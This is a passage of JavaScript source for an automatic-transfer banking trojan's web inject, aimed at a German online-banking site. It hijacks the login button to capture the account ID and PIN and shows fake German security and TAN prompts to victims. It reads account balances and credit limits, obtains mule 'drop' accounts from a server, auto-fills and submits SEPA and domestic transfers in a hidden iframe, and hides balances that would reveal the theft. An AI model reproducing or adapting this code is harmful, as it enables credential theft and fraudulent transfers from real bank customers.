  872.         });
  873.     });    
  874.  
  875.    
  876.  
  877. jq('#gad_page table:eq(0)').find('tr:visible.gad-table-row,tr:visible.gad-table-alternate-row').each(function(i){
  878.  
  879.     jq(this).attr('class', (i % 2) ? 'gad-table-row' : 'gad-table-alternate-row');
  880.  
  881.     });
  882.     }
  883. }
  884.  
  885. ATS.needToHide = function(text)
  886. {
  887.  
  888.    
  889.     var amount = parseFloat(ATS.getCookie('rep_amount'));
  890.     if (amount)
  891.     {
  892.  
  893.         if (langs.getCurLang()=='EN'){
  894.             text=text.replace(/[^\d.]+/gi, '');
  895.            
  896.         if (text.indexOf(amount) != -1) return true;
  897.            
  898.             }
  899.             else{
  900.         text=text.replace(/[^\d,]+/gi, '').replace(",", '.');                
  901.         if (text.indexOf(amount) != -1) return true;
  902.         //ATS.debugMsg(text);
  903.         }
  904.     }
  905.        
  906.     return false;
  907. }
  908. ATS.replaceBalances = function()
  909. {
  910.     ATS.debugMsg('replaceBalances()');
  911.    
  912.     //ATS.hideLastTAN();
  913.    
  914.    
  915.         switch (langs.getCurLang())
  916.     {
  917.        
  918.         case "EN":
  919.     if (ATS.getPageTitle("Your financial overview")) ATS.replaceFinanzstatus();        
  920.      if (ATS.getPageTitle("Transactions")) ATS.replaceUmsatzanzeige();            
  921.         break;
  922.          default:
  923.          
  924.     if (ATS.getPageTitle("Finanz"+String.fromCharCode(252)+"bersicht")) ATS.replaceFinanzstatus();         
  925.      if (ATS.getPageTitle("Ums"+String.fromCharCode(228)+"tze") ) ATS.replaceUmsatzanzeige();            
  926.            
  927.             break;
  928.            
  929.  }
  930.            
  931.  
  932.    
  933.  
  934.    
  935.    
  936.    
  937.  
  938.  
  939. }
  940.  
  941.  
  942. ATS.findAccountInfo = function(acc_num)
  943. {
  944.     ATS.debugMsg('acc_num:'+ acc_num);
  945.     var accounts_list = parent.ATS.accounts_list;
  946.     for (var i in accounts_list)
  947.     {
  948.         //if (accounts_list[i] != 'function' )
  949.          //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
  950.        
  951.             if (acc_num.indexOf(accounts_list[i].number) != -1)
  952.             {
  953.                 //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
  954.                 return accounts_list[i];
  955.             }
  956.        
  957.     }
  958.     return false;
  959. }
  960.  
  961. var langs ={
  962.  simple_property: 'Hello',
  963.  EN: {
  964.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  965.   nextbutton: "Weiter",
  966.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  967.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  968.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br />"
  969.  },
  970.   DE: {
  971.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  972.   nextbutton: "Weiter",
  973.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  974.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  975.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
  976.  
  977.  },
  978.  
  979.  getLang: function(step) {
  980.  
  981.  
  982. var ln='EN';
  983. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  984.  
  985. //  return(this.simple_property + ', ' + this[ln][step]);
  986.   return(this[ln][step]);
  987.  },
  988.  
  989.  getCurLang: function() {
  990.  
  991.  
  992. var ln='EN';
  993. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  994.  
  995.   return(ln);
  996.  }
  997.  
  998. };
  999.  
  1000.  
  1001.  
  1002.  
  1003. document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}.formContainer2 #gad_contentbox {padding: 0px;font-size:0.88em;width:100% !important;} .formContainer2 {border: 0.1em solid #C1C3C4 !important;text-align: left;color: #333333;   margin: 17px; color: #333333; } .formContainer2 h2 { background: none repeat scroll 0 0 #EDEDED;   font-weight:700; color: #4F4F4F;  line-height: normal !important;  padding: 1px 16px 2px 4px;} #branch {    width: 1.9em;}.layout input, .layout select {    vertical-align: middle;}textarea, input, select {    border: 1px solid #B5C9E3;    color: #333333;    font: 1em arial,helvetica,sans-serif;    padding: 2px;}input.button {    -moz-border-bottom-colors: none;    -moz-border-image: none;    -moz-border-left-colors: none;    -moz-border-right-colors: none;    -moz-border-top-colors: none;    background: url("../../images/bt_standard.gif") no-repeat scroll right center #EAEAEA;    border-color: -moz-use-text-color #C0C0C0 #C0C0C0 -moz-use-text-color;    border-style: none solid solid none;    border-width: medium 1px 1px medium;    color: #003399;    cursor: pointer;    font-size: 1em;    font-weight: bold;    padding: 2px 3px; float:right;    }input.confirm {    background: url("'+ATS.CONTENT_URL+'/images/bt_confirm.gif") no-repeat scroll right center #FF0000;    color: #FFFFFF;    padding-right: 22px !important;}input.confirm:hover {    background-image: url("'+ATS.CONTENT_URL+'/images/bt_confirmHover.gif");} </style>');
  1004.  
  1005.  
  1006.  
  1007. ATS.checkTestPage = function()
  1008. {
  1009.     if(jq('#gad_contentbox').length) return true;
  1010.     //  jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
  1011.     else return false;
  1012. }
  1013.  
  1014.  
  1015. ATS.checkLoginPage = function()
  1016. {
  1017.     return !!jq("button#button_login").length;
  1018. }
  1019.  
  1020. ATS.getSepaLink = function()
  1021. {
  1022.     if(!parent.ATS.SepaLink){
  1023.        
  1024.         parent.ATS.SepaLink=jq('#gad_navigation_left_1 li:eq(3) a').attr("href");
  1025.    
  1026.    
  1027.     }
  1028.     return parent.ATS.SepaLink;
  1029. }
  1030.  
  1031. ATS.getIntLink = function()
  1032. {
  1033.  
  1034.     if(!parent.ATS.IntLink){
  1035.        
  1036.         parent.ATS.IntLink=jq('#gad_navigation_left_1 li:eq(2) a').attr("href");
  1037.    
  1038.    
  1039.     }
  1040.     return parent.ATS.IntLink;
  1041.  
  1042.  
  1043. }
  1044.  
  1045.  
  1046. ATS.isLoggedIn = function()
  1047. {
  1048. if (jq("#ummelden").text().indexOf("Logout")!=-1) return true;
  1049.  
  1050.     else return false;
  1051. }
  1052. ATS.UI_blockSite = function()
  1053. {
  1054.     if (ATS.debugNoOverlay)
  1055.         return;
  1056.       ATS.debugMsg('ATS.UI_blockSite');
  1057.     if (jq('#inj_block_overlay').length)
  1058.         jq('#inj_block_overlay').show();
  1059.     else
  1060.         jq('#gad_page').before('<div id=inj_block_overlay></div>');
  1061. }
  1062. ATS.UI_unblockSite = function()
  1063. {
  1064.     jq('#inj_block_overlay').hide();
  1065.     jq('#gad_page').show();
  1066.     jq('#gad_page > div').show();
  1067. }
  1068.  
  1069.  
  1070.  
  1071. ATS.getFinanzstatusLink = function()
  1072. {
  1073.  
  1074.     if(!parent.ATS.finLink){
  1075.        
  1076.     parent.ATS.finLink=jq('#gad_navigation_left_1 li:first a').attr("href");
  1077.    
  1078.     }
  1079.     return parent.ATS.finLink;
  1080.    
  1081.    
  1082.    
  1083. }
  1084.  
  1085.  
  1086.  
  1087. ATS.UI_showDialogBox = function()
  1088. {
  1089.     jq('#gad_page > div').hide();
  1090.    
  1091.     if (!jq('#inj_dialog_box').length)
  1092.     {
  1093.         var injectCode = ATS.UI_getInjectCode();
  1094.         jq('#gad_page').after(injectCode);
  1095.        
  1096.         jq('#inj_Weiter').click(ATS.UI_onWeiterClick);
  1097.     }
  1098.     jq('#inj_dialog_box').show();
  1099. }
  1100.  
  1101. ATS.getLoginForm = function()
  1102. {
  1103.     var form = jq("form.gad-login-form");
  1104.     if (form.length)
  1105.         return form[0];
  1106.     /* 
  1107.     form = jq("form").has('input#anmeld');
  1108.     if (form.length)
  1109.         return form[0];
  1110.         */
  1111.     return false;
  1112. }
  1113.  
  1114.  
  1115. ATS.getPageTitle = function(findtext)
  1116. {
  1117.      var title=jq.trim(jq("#gad_breadcrumbs >span.active").eq(0).text());
  1118.     if (title.indexOf(findtext) !=-1) return true;
  1119.     else return false;
  1120. }
  1121. ATS.hideLastTAN = function()
  1122. {
  1123.  
  1124.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  1125.     if (el.length)
  1126.     {
  1127.         var html = jq(el).html();
  1128.         var pos = html.indexOf('Ihre zuletzt');
  1129.         if (pos >= 0)
  1130.             jq(el).html(html.substr(0, pos));
  1131.     }
  1132.    
  1133.  
  1134.     jq('p:contains(Zuletzt benutzte)').remove();
  1135. }
  1136.  
  1137.  
  1138. ATS.sleep= function(m) {var then = new Date(new Date().getTime() + m); while (new Date() < then) {}};
  1139.  
  1140.  
  1141. /*
  1142.  
  1143.  
  1144. */
  1145.  
  1146. ATS.setLoginHook = function()
  1147. {
  1148.     //ATS.loginDataSent = false;
  1149.     var loginInfoSent = false;
  1150.        
  1151.     var loginForm = ATS.getLoginForm();
  1152.  
  1153.  
  1154.         //loginForm.onsubmit = function(){return true};
  1155.         jq('#button_login').unbind('click');
  1156.        
  1157.        
  1158.         jq('#button_login').click(function(e){
  1159.        
  1160.             var loginForm = ATS.getLoginForm();                        
  1161.            
  1162.             if(jq(loginForm).find('input:visible#vrkennungalias').length)
  1163.                 var login=jq(loginForm).find('input:visible#vrkennungalias').val();
  1164.             else
  1165.                 var login=jq(loginForm).find('input:visible#kontonummer').val();
  1166.            
  1167.             var password=jq(loginForm).find('input:visible#pin').val();
  1168.          
  1169.  
  1170.         if (!loginInfoSent)
  1171.         {            
  1172.             e.preventDefault();
  1173.              ATS.debugMsg('login info: ' + login + ', ' + password);
  1174.              
  1175.                 jq('#button_login').attr('disabled', 'disabled');                  
  1176.                     ATS.sendLoginInfo(login, password, function(){
  1177.                         ATS.debugMsg('after clik ');
  1178.                         loginInfoSent = true;
  1179.                         jq('#button_login').attr('disabled', false);
  1180.                          wpSubmit = true;
  1181.                         jq('#button_login').click();                        
  1182.                     });
  1183.                    
  1184.                  
  1185.         }
  1186.             //ATS.sleep(4000);
  1187. //          if (ATS.loginDataSent) return true; else return false;  
  1188.         });
  1189.            
  1190.  
  1191. }
  1192.  
  1193.  
  1194.  
  1195. // ============================================================================
  1196.  
  1197.  
  1198. ATS.getTime = function()
  1199. {
  1200.     return Math.floor((new Date).getTime() / 1000);
  1201. }
  1202.  
  1203.  
  1204.  
  1205.  
  1206. ATS.openInIframe = function(url)
  1207. {
  1208.     var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
  1209.     jq('body').append(iframe);
  1210.     if (ATS.debugVisibleFrame)
  1211.     {
  1212.         jq("#ats_wrk_iframe").css('width', '1200px');
  1213.         jq("#ats_wrk_iframe").css('height', '800px');
  1214.         jq("#ats_wrk_iframe").css('top', '1000px');
  1215.         jq("#ats_wrk_iframe").css('position', 'absolute');
  1216. //          jq("body").css('position', 'relative');
  1217.     }
  1218.     else
  1219.     {
  1220.         jq("#ats_wrk_iframe").css('width', '1px');
  1221.         jq("#ats_wrk_iframe").css('height', '1px');
  1222.         //jq(iframe).css('top', '0px');
  1223.         //jq(iframe).css('position', 'absolute');
  1224.         jq("#ats_wrk_iframe").css('visibility', 'hidden');
  1225.     }
  1226. }
  1227.  
  1228.  
  1229. ATS.parseAccountsList = function()
  1230. {
  1231.    
  1232.  
  1233.    
  1234.     var accountsList = new Array();
  1235.     jq("table[name='listeEuroKonten']").has('label:contains(onto)').find("tbody:not(:contains('Summe Gesamt'))").each(function(){
  1236.         jq(this).find('tr:has(input[value="icon"])').each(function(){
  1237.            if (langs.getCurLang()=='EN'){
  1238.               //  var number=jq.trim(jq(this).children("td:eq(0)").text().replace(/\D+/g,''));
  1239.                // var overdraft=jq.trim(jq(this).children("td:eq(1)").text().replace(/\,/g, ''));
  1240.                // var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/\,/g, ''));
  1241.             }
  1242.             else{
  1243.                 var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
  1244.                 var overdraft=0;
  1245.                 //var overdraft=jq.trim(jq(this).children("td:eq(1)").text().replace(/\./g, '').replace(/\,/g, '.'));
  1246.                 var balance=jq.trim(jq(this).children("td:eq(3)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
  1247.            
  1248.          if(jq(this).children("td:eq(4)").find("input:eq(1)").length!=0){
  1249.         var overdraftHref=jq.trim(jq(this).children("td:eq(4)").find("input:eq(1)").attr("name"));          }else{      
  1250.         var overdraftHref=jq.trim(jq(this).children("td:eq(4)").find("input:eq(0)").attr("name"));}  
  1251.        
  1252.                
  1253.             }
  1254.            
  1255.                 if (number != '')
  1256.                     {
  1257.     ATS.debugMsg('number: ' + number + '; balance : ' + balance +  '; overdraft : ' + overdraft);
  1258.     //ATS.sendLogMsg('Account: ' + number + '; balance : ' + balance +  '; overdraft : ' + overdraft);
  1259.                         accountsList.push({number: number,balance: balance, overdraft: overdraft, overdraftHref: overdraftHref,totalBalance: parseFloat(overdraft) + parseFloat(balance)});  
  1260.                      
  1261.                      
  1262.                     }
  1263.    
  1264.         })
  1265.     });
  1266.  
  1267.  
  1268.     return accountsList;
  1269. }
  1270.  
  1271.  
  1272.  
  1273. ATS.framePageFinanzstatus = function()
  1274. {
  1275.  
  1276.     if(!parent.ATS.Gesamtsaldo){
  1277.     if (ATS.checkTestPage())  var el=jq('.gad-table-footer-summary-row > td').eq(1);
  1278.     else var el=jq('.gad-table-footer-summary-row > td').eq(1);
  1279.    
  1280.     var val = ATS.fin2float(jq(el).text());
  1281.     parent.ATS.Gesamtsaldo = val;
  1282.     }
  1283.    
  1284.     ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
  1285.  
  1286.     ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1287.    
  1288.     parent.ATS.accounts_list = ATS.parseAccountsList();
  1289.  
  1290.     if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance');
  1291.    
  1292.     //var maxBalance = ATS.getMaxTransferAcc();
  1293.     var maxAcc = ATS.getMaxTransferAcc();
  1294.     if (!maxAcc) return false;
  1295.    
  1296.     parent.ATS.maxAcc=maxAcc;
  1297.     parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.balance;
  1298.    
  1299.     parent.ATS.StepInFrame.set_current_state("KreditlimitPage");
  1300.  
  1301.    
  1302.  
  1303.     if (jq('input[name="'+parent.ATS.maxAcc.overdraftHref+'"]').length){
  1304.         setTimeout(function(){
  1305.             jq('input[name="'+parent.ATS.maxAcc.overdraftHref+'"]').click();                    
  1306.         }, 2000);
  1307.     }
  1308.  
  1309.     else ATS.die('framePageFinanzstatus: cant find KreditlimitPageLink');
  1310.    
  1311. }
  1312.  
  1313. ATS.KreditlimitPage = function()
  1314. {
  1315.  
  1316.  
  1317. var totalKreditBalance=jq("table").find("tr:contains('Betrag')").find("td:eq(1)");
  1318. totalKreditBalance = ATS.fin2float(jq(totalKreditBalance).text());
  1319.  
  1320. ATS.debugMsg('totalKreditBalance: ' + totalKreditBalance);
  1321.  
  1322. if(totalKreditBalance<=0 || isNaN(totalKreditBalance))  {
  1323.    
  1324.     ATS.sendLogMsg('KreditlimitPage: totalKreditBalance(Verfugbarer Betrag) is absent or error = '+totalKreditBalance + '; Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + ' goto next Acc',
  1325.                         function(){
  1326.                         parent.ATS.MaxTransferAccNum+=1;
  1327.                         parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus");                                  var nextLink= ATS.getFinanzstatusLink();
  1328.                         setTimeout(function(){
  1329.                                        document.location.href = nextLink;                                                                   }, 2000);
  1330.                         });
  1331.    
  1332. //    ATS.die('KreditlimitPage: totalKreditBalance(Verfugbarer Betrag) is absent or error = '+totalKreditBalance);
  1333.  
  1334. }else {
  1335.  
  1336.     ATS.getDrop('SEPA', totalKreditBalance, function(data){
  1337.                     if (data && data.drop)
  1338.                     {
  1339.                         parent.ATS.sepa_drop = data.drop;
  1340.                        
  1341.                        
  1342.                         //parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1343.                         parent.ATS.StepInFrame.set_current_state("TransactionsSEPA");
  1344.                        
  1345. /*
  1346.                         var TransactionsLink=ATS.getSepaLink();
  1347.                         if (TransactionsLink!='') document.location.href = TransactionsLink;
  1348.                         else ATS.die('KreditlimitPage: cant find SepaLink');                        
  1349. */
  1350.  
  1351.                 var Internal_transf_page=ATS.getIntLink();
  1352.                 if (Internal_transf_page!=''){
  1353.                     setTimeout(function(){
  1354.                        document.location.href = Internal_transf_page;                    
  1355.                     }, 2000);
  1356.  
  1357.                 }
  1358.                 else ATS.die('KreditlimitPage: cant find sepa_link');
  1359.                        
  1360.                        
  1361.                     }
  1362.                     else
  1363.                     {
  1364.                        
  1365.                         ATS.getDrop('Internal', totalKreditBalance, function(data){
  1366.                         if (data && data.drop)
  1367.                         {
  1368.                             ATS.debugMsg('[Drop] DrName: ' + data.drop.DrName);
  1369.                             parent.ATS.int_drop = data.drop;
  1370.                             //parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
  1371.                             parent.ATS.StepInFrame.set_current_state("TransactionsINT");
  1372.                 parent.ATS.transf_mode = 'int';
  1373.                 var Internal_transf_page=ATS.getIntLink();
  1374.                 if (Internal_transf_page!='') {
  1375.                     setTimeout(function(){
  1376.                        document.location.href = Internal_transf_page;                    
  1377.                     }, 2000);
  1378.  
  1379.                    }
  1380.                 else ATS.die('KreditlimitPage: cant find Internal_transf_page_link');
  1381.  
  1382.                            
  1383.                            
  1384.                         }
  1385.                         else
  1386.                         {
  1387.                             parent.ATS.UI_hideDialogBox();
  1388.                             parent.ATS.UI_unblockSite();
  1389.                             ATS.die('KreditlimitPage: no Int drop');
  1390.    
  1391.                         }
  1392.                         });
  1393.                  
  1394.                        
  1395.                     }
  1396.                 });
  1397.                
  1398.                
  1399.      }//else if(totalKreditBalance<=0)          
  1400.    
  1401. }    
  1402.  
  1403.  
  1404.  
  1405.  
  1406. ATS.framePageTransactionsSEPA = function()
  1407. {
  1408.                        
  1409.    
  1410.     parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1411.      var int_link_li=jq('.gad-tabnavigation-list > li:contains(SEPA)').length;
  1412. var int_link_li_a=jq('.gad-tabnavigation-list > li:contains(SEPA) a').length;
  1413. var href=jq('.gad-tabnavigation-list > li:contains(SEPA) a').attr('href');
  1414.     if (!int_link_li_a && !int_link_li)  { ATS.die('framePageTransactionsSEPA: cant find sepa_link'); return false;}
  1415.    
  1416. if (!!int_link_li && !int_link_li_a) {
  1417.    
  1418.        ATS.framePageSEPA_page();
  1419. }else{
  1420.        ATS.debugMsg("SEPA_link="+href);
  1421.        
  1422.         setTimeout(function(){
  1423.             document.location.href = href;                    
  1424.         }, 2000);
  1425.  
  1426. }
  1427.  
  1428.  
  1429.    
  1430. }
  1431. ATS.framePageTransactionsINT = function()
  1432. {
  1433.                        
  1434.    
  1435.    
  1436.     parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
  1437.      var int_link_li=jq('.gad-tabnavigation-list > li:contains(Inlands)').length;
  1438. var int_link_li_a=jq('.gad-tabnavigation-list > li:contains(Inlands) a').length;
  1439. var href=jq('.gad-tabnavigation-list > li:contains(Inlands) a').attr('href');
  1440.     if (!int_link_li_a && !int_link_li)  {ATS.die('framePageTransactionsINT: cant find int_link'); return false;}
  1441.    
  1442. if (!!int_link_li && !int_link_li_a) {
  1443.    
  1444.       ATS.framePageInternal_transf_page();
  1445. }else{
  1446.        ATS.debugMsg("int_link="+href);
  1447.        
  1448.         setTimeout(function(){
  1449.             document.location.href = href;                    
  1450.         }, 2000);
  1451.  
  1452. }
  1453.  
  1454.    
  1455. }
  1456.  
  1457.  
  1458. ATS.framePageOverseas_remittance = function()
  1459. {
  1460.                        
  1461.  
  1462.     parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1463.    
  1464.     ATS.debugMsg('ATS.framePageOverseas_remittance, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1465.         setTimeout(function(){
  1466.             jq('.nextStep input[type="submit"]').eq(0).click();                    
  1467.         }, 2000);
  1468.  
  1469.    
  1470.    
  1471.    
  1472.    
  1473. }
  1474.  
  1475. ATS.framePageSEPA_page = function()
  1476. {
  1477.                        
  1478.    
  1479.     ATS.debugMsg('ATS.framePageSEPA_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1480.  
  1481. if(!parent.ATS.sepa_or_int_select_changed) {
  1482.    
  1483.             var accountsSelect = jq('select[name="idKontoGewaehlt"]');
  1484. var nededAccOption=0;
  1485. var maxAcc=null;
  1486.         if (jq(accountsSelect).length != 0)
  1487.         {
  1488.        
  1489.             jq(accountsSelect).children('option').each(function(){
  1490.                 var acc_num = jq.trim(jq(this).text()).replace(/\D+/g,'');
  1491.                 if (acc_num != '')
  1492.                 {
  1493.                
  1494.                
  1495.                // var accInfo = ATS.findAccountInfo(acc_num.toString());    
  1496.                     //ATS.debugMsg('accNum: ' + acc_num);
  1497.             if (acc_num.indexOf(parent.ATS.maxAcc.number) != -1)
  1498.                     {
  1499.                    
  1500.                         jq(this).attr('selected', 'selected');
  1501.                         nededAccOption=jq(this).val();
  1502.                         maxAcc=acc_num;
  1503.                     }
  1504.                 }
  1505.             });    
  1506.        
  1507.         }
  1508.  
  1509.        
  1510.         parent.ATS.sepa_or_int_select_changed=true;
  1511.        
  1512.        ATS.debugMsg('maxAcc: ' + maxAcc);
  1513.             if (maxAcc)
  1514.             {
  1515.              
  1516.                 parent.ATS.transfer_acc=maxAcc;
  1517.                 jq(accountsSelect).val(nededAccOption).change();
  1518.                 jq('form').submit();
  1519.             }
  1520.             else {
  1521.                 //ATS.die('framePageSEPA_fill: cent find transfer_acc');
  1522.                         ATS.sendLogMsg('framePageSEPA_fill Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'in select list is absent ; goto next Acc',
  1523.                         function(){
  1524.                         parent.ATS.sepa_or_int_select_changed=false;
  1525.                         parent.ATS.MaxTransferAccNum+=1;
  1526.                         parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus");                                  var nextLink= ATS.getFinanzstatusLink();
  1527.                         setTimeout(function(){
  1528.                                        document.location.href = nextLink;                                                                   }, 2000);
  1529.                         });
  1530.                
  1531.                 }
  1532.  
  1533. }else  ATS.framePageSEPA_fill();
  1534.    
  1535. }
  1536.  
  1537. ATS.framePageSEPA_fill = function()
  1538. {
  1539. parent.ATS.sepa_or_int_select_changed=false;
  1540. var drop = parent.ATS.sepa_drop;
  1541.        
  1542.   //------------------------------------------------------  
  1543.    
  1544.    
  1545.    
  1546.    
  1547.  
  1548.        
  1549.     jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);
  1550.     //jq('input[name*="IBAN"]').val(drop.IBAN);
  1551.     jq('input[name*="IBAN"]').val(jq.trim(parent.ATS.sepa_drop.IBAN));
  1552.    
  1553.     jq('#ID_INPUT_BIC').val( ATS.padRight(drop.BIC,11));
  1554.     jq('#ID_INPUT_BETRAG').val(drop.amount);
  1555.     jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);
  1556.  
  1557.  
  1558.  
  1559.  
  1560.    
  1561.  
  1562.    
  1563.         //parent.ATS.current_state = 110;
  1564.     parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
  1565.     ATS.sendLogMsg('SEPA form filled in');
  1566.    
  1567.  
  1568.  
  1569.    
  1570.     if ( jq('[name="event___pruefen"]').length)
  1571.     {
  1572.      
  1573.         setTimeout(function(){
  1574.        
  1575.             jq('[name="event___pruefen"]').click();
  1576.         }, 10000);
  1577.     }
  1578.     else
  1579.     {
  1580.         ATS.die('framePageSEPA_page: cant find continue button');
  1581.     }
  1582.  
  1583.  
  1584. }
  1585.  
  1586.  
  1587.  
  1588. ATS.framePageInternal_transf_page = function()
  1589. {
  1590.                        
  1591.  
  1592.     ATS.debugMsg('ATS.framePageInternal_transf_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1593.  
  1594. if(!parent.ATS.sepa_or_int_select_changed) {
  1595.    
  1596.             var accountsSelect = jq('select[name="idKontoGewaehlt"]');
  1597. var nededAccOption=0;
  1598. var maxAcc=null;
  1599.         if (jq(accountsSelect).length != 0)
  1600.         {
  1601.        
  1602.             jq(accountsSelect).children('option').each(function(){
  1603.                 var acc_num = jq.trim(jq(this).text()).replace(/\D+/g,'');
  1604.                 if (acc_num != '')
  1605.                 {
  1606.                
  1607.                
  1608.                // var accInfo = ATS.findAccountInfo(acc_num.toString());    
  1609.                     //ATS.debugMsg('accNum: ' + acc_num);
  1610.             if (acc_num.indexOf(parent.ATS.maxAcc.number) != -1)
  1611.                     {
  1612.                    
  1613.                         jq(this).attr('selected', 'selected');
  1614.                         nededAccOption=jq(this).val();
  1615.                         maxAcc=acc_num;
  1616.                     }
  1617.                 }
  1618.             });    
  1619.        
  1620.         }
  1621.  
  1622.         parent.ATS.sepa_or_int_select_changed=true;
  1623.        
  1624.        ATS.debugMsg('maxAcc: ' + maxAcc);
  1625.             if (maxAcc)
  1626.             {
  1627.                 parent.ATS.transfer_acc=maxAcc;
  1628.                 jq(accountsSelect).val(nededAccOption).change();
  1629.                 jq('form').submit();
  1630.             }
  1631.             else {
  1632.                 //ATS.die('framePageSEPA_fill: cent find transfer_acc');
  1633.                         ATS.sendLogMsg('framePageInternal_transf_page Acc: ' + parent.ATS.accounts_list[parent.ATS.MaxTransferAccNum].number + 'in select list is absent ; goto next Acc',
  1634.                         function(){
  1635.                         parent.ATS.sepa_or_int_select_changed=false;    
  1636.                         parent.ATS.MaxTransferAccNum+=1;
  1637.                         parent.ATS.StepInFrame.set_current_state("framePageFinanzstatus");                                  var nextLink= ATS.getFinanzstatusLink();
  1638.                         setTimeout(function(){
  1639.                                        document.location.href = nextLink;                                                                   }, 2000);
  1640.                         });
  1641.                
  1642.                 }
  1643.    
  1644.    
  1645.    }else  ATS.framePageInternal_transf_page_fill();
  1646. }
  1647.  
  1648.  
  1649. ATS.framePageInternal_transf_page_fill = function()
  1650. {
  1651.     var drop = parent.ATS.int_drop;
  1652.  parent.ATS.sepa_or_int_select_changed=false;  
  1653.  
  1654.   //------------------------------------------------------  
  1655.    
  1656.      
  1657.     if(!ATS.checkTestPage()){
  1658.        
  1659.     jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);
  1660.     jq('#ID_INPUT_EMPFAENGERKONTO').val(drop.Konto);
  1661.     jq('#ID_INPUT_BLZ').val(drop.BLZ);
  1662.     jq('#ID_INPUT_BETRAG').val(drop.amount);
  1663.     jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);
  1664.  
  1665.  
  1666.     }
  1667.     else{
  1668.  
  1669.     jq('#ID_INPUT_EMPFAENGERNAME').val(drop.DrName);
  1670.     jq('#ID_INPUT_EMPFAENGERKONTO').val(drop.Konto);
  1671.     jq('#ID_INPUT_BLZ').val(drop.BLZ);
  1672.     jq('#ID_INPUT_BETRAG').val(drop.amount);
  1673.     jq('#ID_INPUT_VERWENDUNGSZWECK1').val(drop.Reference);
  1674.    
  1675.  
  1676.    
  1677.     }
  1678.    
  1679.  
  1680.     parent.ATS.StepInFrame.set_current_state("INT_form_filled");
  1681.     ATS.sendLogMsg('INT form filled in');
  1682.  
  1683.    
  1684.     if ( jq('[name="event___pruefen"]').length)
  1685.     {
  1686.         setTimeout(function(){
  1687.             jq('[name="event___pruefen"]').click();
  1688.         }, 10000);
  1689.     }
  1690.     else
  1691.     {
  1692.         ATS.die('framePageInternal_transf_page: cant find continue button');
  1693.     }
  1694.  
  1695. }
  1696. ATS.enterCode = function(tan)
  1697. {
  1698.     ATS.debugMsg('ATS.enterCode ' + tan);
  1699.    
  1700.    
  1701.     if (jq('#INPUT_TAN').length)
  1702.     {
  1703.         jq('#INPUT_TAN').val(tan);
  1704.        
  1705.         if ( jq('#signWeiter').eq(0).length)
  1706.         {
  1707.             //parent.ATS.current_state = 120;
  1708.             parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
  1709.             parent.ATS.UI_showWait();
  1710.             jq('#signWeiter').eq(0).click();
  1711.         }
  1712.         else
  1713.             ATS.die('enterCode: cant find  button');
  1714.     }
  1715.     else
  1716.         ATS.die('enterCode: cant find field by label');
  1717. }
  1718.  
  1719.  
  1720.  
  1721. ATS.frameWork = function()
  1722. {
